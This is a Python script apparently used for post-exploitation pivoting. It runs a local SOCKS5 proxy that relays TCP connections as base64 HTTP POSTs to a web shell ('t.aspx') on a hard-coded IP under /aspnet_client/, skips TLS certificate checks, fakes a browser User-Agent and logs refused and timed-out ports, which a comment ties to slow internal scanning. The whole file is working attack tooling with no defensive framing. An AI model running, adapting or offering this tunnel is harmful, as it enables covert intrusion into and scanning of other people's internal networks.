#!/usr/bin/env python3
# Minimal SOCKS5 server -> HTTP tunnel (t.aspx) into the internal network.
# CONNECT only (IPv4 / domain). TCP only.
import socket, threading, base64, urllib.request, urllib.parse, ssl, sys, time, uuid

URL = "https://27.76.172.70/aspnet_client/t.aspx"
CTX = ssl._create_unverified_context()
LISTEN = ("127.0.0.1", 1080)
LOG = open("socks_client.log", "a", buffering=1)

def log(*a):
    LOG.write("[%s] %s\n" % (time.strftime("%H:%M:%S"), " ".join(str(x) for x in a)))

def post(params, timeout=60):
    data = urllib.parse.urlencode(params).encode()
    req = urllib.request.Request(URL, data=data, headers={"User-Agent": "Mozilla/5.0"})
    with urllib.request.urlopen(req, context=CTX, timeout=timeout) as r:
        return r.read().decode("utf-8", "replace")

def recvn(sock, n):
    buf = b""
    while len(buf) < n:
        c = sock.recv(n - len(buf))
        if not c:
            return None
        buf += c
    return buf

def handle(csock, addr):
    sid = uuid.uuid4().hex[:16]
    try:
        csock.settimeout(30)
        hdr = recvn(csock, 2)
        if not hdr or hdr[0] != 5:
            return
        nm = hdr[1]
        recvn(csock, nm)
        csock.sendall(b"\x05\x00")
        req = recvn(csock, 4)
        if not req or req[0] != 5:
            return
        cmd, atyp = req[1], req[3]
        if atyp == 1:
            host = socket.inet_ntoa(recvn(csock, 4))
        elif atyp == 3:
            l = recvn(csock, 1)[0]
            host = recvn(csock, l).decode()
        elif atyp == 4:
            host = socket.inet_ntop(socket.AF_INET6, recvn(csock, 16))
        else:
            return
        port = int.from_bytes(recvn(csock, 2), "big")
        if cmd != 1:
            csock.sendall(b"\x05\x07\x00\x01" + b"\x00" * 6)
            return
        try:
            r = post({"op": "open", "id": sid, "h": host, "p": str(port)}, timeout=30)
        except Exception as ex:
            log("open-fail", host, port, ex)
            csock.sendall(b"\x05\x04\x00\x01" + b"\x00" * 6)
            return
        if r != "OK":
            # 区分“被拒绝(RST)”与“超时/不可达(过滤)”，供慢扫描分类使用
            code = 4 if r.startswith("CONN_TIMEOUT") else 5
            log("open-refused", host, port, "rep=%d" % code, repr(r[:120]))
            csock.sendall(bytes([5, code, 0, 1]) + b"\x00" * 6)
            return
        log("CONNECT", host, port, "ok")
        csock.sendall(b"\x05\x00\x00\x01" + b"\x00" * 6)
        csock.settimeout(0.03)
        dead = False
        while not dead:
            cdata = b""
            try:
                cdata = csock.recv(65536)
                if cdata == b"":
                    break
            except socket.timeout:
                cdata = b""
            except Exception:
                break
            payload = {"op": "rw", "id": sid, "w": "400"}
            if cdata:
                payload["d"] = base64.b64encode(cdata).decode()
            try:
                r = post(payload, timeout=60)
            except Exception as ex:
                log("rw-fail", host, port, ex)
                break
            if r == "E" or r.startswith("ERR") or r == "NOCONN":
                break
            if r:
                try:
                    csock.sendall(base64.b64decode(r))
                except Exception:
                    break
            elif not cdata:
                time.sleep(0.02)
        try:
            post({"op": "close", "id": sid}, timeout=15)
        except Exception:
            pass
        log("CLOSE", host, port)
    except Exception as ex:
        log("handle-err", addr, ex)
    finally:
        try:
            csock.close()
        except Exception:
            pass

def main():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind(LISTEN)
    srv.listen(128)
    log("listening", LISTEN)
    while True:
        c, a = srv.accept()
        threading.Thread(target=handle, args=(c, a), daemon=True).start()

if __name__ == "__main__":
    main()
